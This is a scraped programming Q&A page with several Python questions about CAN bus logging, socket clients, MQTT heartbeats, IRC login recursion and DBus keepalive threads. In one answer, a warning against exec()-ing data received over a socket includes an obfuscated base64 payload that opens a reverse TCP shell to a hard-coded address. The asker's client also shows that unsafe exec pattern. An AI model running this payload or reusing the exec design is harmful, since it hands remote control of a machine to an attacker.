Loop failure when connecting to can network - python

For a little project I made a Gui where the user selects a folder to save a log file of the Can bus messages on the bus. When the directory is selected and it is an valid directory the logger instantaneously start to connect to the bus and log all the messages.
To keep the Gui from freezing I tried to integrate the window.after function. Only now I encounter a problem with connecting to the canbus via python-can module. When the script can't connect to the Can network, a message box with a warning will pop up.
When I select a directory where to save the files and then the logger tries to connect, the warning box immiadately pops up, and when I click OK button it logs one message to the file. After that the warning box pops up again and when I click OK it logs again one canbus messages. And so on.
I suspect I haven't arranged my code probably, but I can't find the mistake. So I coming to you guys for help.
The piece of code which generates the trouble:
def log_function():
#Try to connect to the CAN Network if not show Warning.
try:
while True:
global bus
bus = can.interface.Bus(interface='pcan', channel='PCAN_USBBUS1', bitrate=250000)
print("connected")
except:
messagebox.showerror("Warning", "NO CONNECTION ESTABLISHED, PLEASE CONNECT TO CAN NETWORK")
#Logger function
try:
message = bus.recv()
logger.debug(db.decode_message(message.arbitration_id, message.data))
print(db.decode_message(message.arbitration_id, message.data))
except KeyError:
pass
window.after(100, log_function)
# When Stop button is pressed the bus will shutdwon and the script/gui will exit.
def stop():
bus.shutdown()
sys.exit()
I also tried to make a separate function of the first Try statement, but that also didn't work.

It seem that you are reconnecting to the bus over and over again.
I don't understand the while loop you are using in there because I would expect you only need to connect once.
You then probably want to download the information and write it to your file.
Your example has missing code, so I'm not sure when and how you trigger the stop function. But I guess something like this should help:
def connect_bus():
try:
global bus
bus = can.interface.Bus(interface='pcan', channel='PCAN_USBBUS1', bitrate=250000)
print("connected")
except:
messagebox.showerror("Warning", "NO CONNECTION ESTABLISHED, PLEASE CONNECT TO CAN NETWORK")
def log_function():
#Logger function
try:
message = bus.recv()
logger.debug(db.decode_message(message.arbitration_id, message.data))
print(db.decode_message(message.arbitration_id, message.data))
except KeyError:
pass
window.after(100, log_function)
# When Stop button is pressed the bus will shutdwon and the script/gui will exit.
def stop():
bus.shutdown()
sys.exit()

Related

Except KeyboardInterrupt only works after a function has been completed, not while the line is still executing

I'm building something that when it receives a message from a server via socket, it plays something on my computer and does some other stuff. But when I try to make it be able to capture ctrl+c and gracefully disconnect by alerting the server that it's disconnecting, it only works when a message has been received. If I try to press ctrl + c while it's waiting for a message (while it's on message = sock.recv(1024).decode()), it only ends the script and sends the disconnect message to the server after it received a message. So basically, I'm having a problem where the code under except KeyboardInterrupt only executes after a line of code has completed, so I have to wait until a function has been completed or I receive a message from the server for it to disconnect. What's going on here, and how do I fix it?
Here's my very simple client code:
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.168.0.102', 65535))
while True:
try:
message = sock.recv(1024).decode()
print(message)
if message != 'Nothing, just normal console preorder message':
# stuff happens here
pass
except KeyboardInterrupt:
break
sock.send('DISCONNECTING'.encode())
Forgot to mention: Ran basically the exact same script on my Mac, and it worked as expected, but I only had this problem on my Windows machine. Not sure if that matters or not.

Python socket does not connect on two machines [duplicate]

I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?
An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.

Python: no loop, how do i run a line of code every 5 minutes?

I have a Raspberry Pi that runs a script like the following that counts pulses from a GAS meter. The button.when_pressed = post_to_mqtt(1) is activated when a electrical connection is made. However, sometimes the script stops sending messages to the mqtt server even though "ps -aux" shows its still running. A common method to get around this is to have a line of code that sends an alive MQTT message to the server. From the server side, if you don't receive the message, an alarm is raised and manually dealt with. However, im not sure how to do this, there's no loop, just a pause. How do send a MQTT message every 5 minutes using the code structure below
from gpiozero import Button
from signal import pause
def post_to_mqtt(pulse_count):
print("this is working")
try:
# initialise GPIO
button = Button(pin_sensor)
button.when_pressed = post_to_mqtt(1)
while True :
#post_to_mqtt(0)
print("this is real")
time.sleep(1)
After some comments, ive updated the code to the below, its now not counting the pulse counts. Any any ideas?
from gpiozero import Button
from signal import pause
def post_to_mqtt(pulse_count):
print("this is working")
try:
# initialise GPIO
button = Button(pin_sensor)
button.when_pressed = post_to_mqtt(1)
while True :
print("post to mqtt alive packet")
time.sleep(1)

Python SOCKET infinite loop: stack overflow

I'm creating a game in the Blender Game Engine. And I have coded an IRC script which works fine on OS X and Linux distros. The output is similar to this:
Logging in...
LOGIN_ERROR
LOGIN_ERROR
LOGIN_ERROR
LOGIN_ERROR
LOGIN_ERROR
LOGIN_ERROR
<name> has joined.
Logged in!
And then I can call my sendmsg() function to send messages to the IRC channel.
This is the error I get when I try to run on Windows 7:
My python IRC code:
http://pastebin.com/aG6TwTir
Ignore the "bge" references. Those variables and such are filled from the game engine.
In the game engine, I call login() once, and it spits out "LOGIN_ERROR" so I know it's trying to connect, and then it will connect, therefore not throwing an exception and ending the function.
In OS X and Linux, it runs perfectly and seemlessly in the background while the player can continue to play as it connects.
In windows 7, it throws that error.
So I guess what needs to happen is a way to wait for the script to connect to the server. Then once connected, I can send the login information and join the channel.
So how do I wait for the connection?
FYI: I have the sockets non-blocking, since the script needs to run on the same thread as the game engine, on every frame.
Main() is run every frame, not the whole script. At the menu, it executes the script and calls login(). Then once in the game, it will call Main() every frame.
Oh and I'm using Python 3.3.
Any help is greatly apreciated! ^_^
EDIT:
How do I handle this exception?
This code:
def login():
...
try:
...
except:
...
login() # <===
recursively calls itself; given a high enough number of login failures, depending on the stack size limit (which depends on platform I guess), you'll get a stack overflow.
See also: Setting stacksize in a python script
Although I would always just avoid recursion and use looping instead, unless I know in advance that the recursion depth will never be more than ~100:
while True:
try:
do_login()
except: # NOTE: USE A SPECIFIC EXCEPTION CLASS HERE, BTW
continue
else:
break
You have recursion happening in your error handling
def login():
#print('login')
# Bind the socket
try:
s.connect((HOST, PORT))
# Send login info
s.send(bytes('NICK %s\r\n' % NICK, 'UTF-8'))
s.send(bytes('USER %s %s bla :%s\r\n' % (IDENT, HOST, REALNAME), 'UTF-8'))
s.send(bytes('JOIN %s\r\n' % CHAN, 'UTF-8'));
print('Logging in...')
chatlog('Logging in...')
except:
print('LOGIN_ERROR')
login()
So in your function login() you have a try, then in the except you call login() again. This will just loop over and over again if the login fails.

Dbus/GLib Main Loop, Background Thread

I'm starting out with DBus and event driven programming in general. The service that I'm trying to create really consists of three parts but two are really "server" things.
1) The actual DBus server talks to a remote website over HTTPS, manages sessions, and conveys info the clients.
2) The other part of the service calls a keep alive page every 2 minutes to keep the session active on the external website
3) The clients make calls to the service to retrieve info from the service.
I found some simple example programs. I'm trying to adapt them to prototype #1 and #2. Rather than building separate programs for both. I thought I that I can run them in a single, two threaded process.
The problem that I'm seeing is that I call time.sleep(X) in my keep alive thread. The thread goes to sleep, but won't ever wake up. I think that the GIL isn't released by the GLib main loop.
Here's my thread code:
class Keepalive(threading.Thread):
def __init__(self, interval=60):
super(Keepalive, self).__init__()
self.interval = interval
bus = dbus.SessionBus()
self.remote = bus.get_object("com.example.SampleService", "/SomeObject")
def run(self):
while True:
print('sleep %i' % self.interval)
time.sleep(self.interval)
print('sleep done')
reply_status = self.remote.keepalive()
if reply_status:
print('Keepalive: Success')
else:
print('Keepalive: Failure')
From the print statements, I know that the sleep starts, but I never see "sleep done."
Here is the main code:
if __name__ == '__main__':
try:
dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
session_bus = dbus.SessionBus()
name = dbus.service.BusName("com.example.SampleService", session_bus)
object = SomeObject(session_bus, '/SomeObject')
mainloop = gobject.MainLoop()
ka = Keepalive(15)
ka.start()
print('Begin main loop')
mainloop.run()
except Exception as e:
print(e)
finally:
ka.join()
Some other observations:
I see the "begin main loop" message, so I know it's getting control. Then, I see "sleep %i," and after that, nothing.
If I ^C, then I see "sleep done." After ~20 seconds, I get an exception from self.run() that the remote application didn't respond:
DBusException: org.freedesktop.DBus.Error.NoReply: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken.
What's the best way to run my keep alive code within the server?
Thanks,
You have to explicitly enable multithreading when using gobject by calling gobject.threads_init(). See the PyGTK FAQ for background info.
Next to that, for the purpose you're describing, timeouts seem to be a better fit. Use as follows:
# Enable timer
self.timer = gobject.timeout_add(time_in_ms, self.remote.keepalive)
# Disable timer
gobject.source_remove(self.timer)
This calls the keepalive function every time_in_ms (milli)seconds. Further details, again, can be found at the PyGTK reference.

Categories

Resources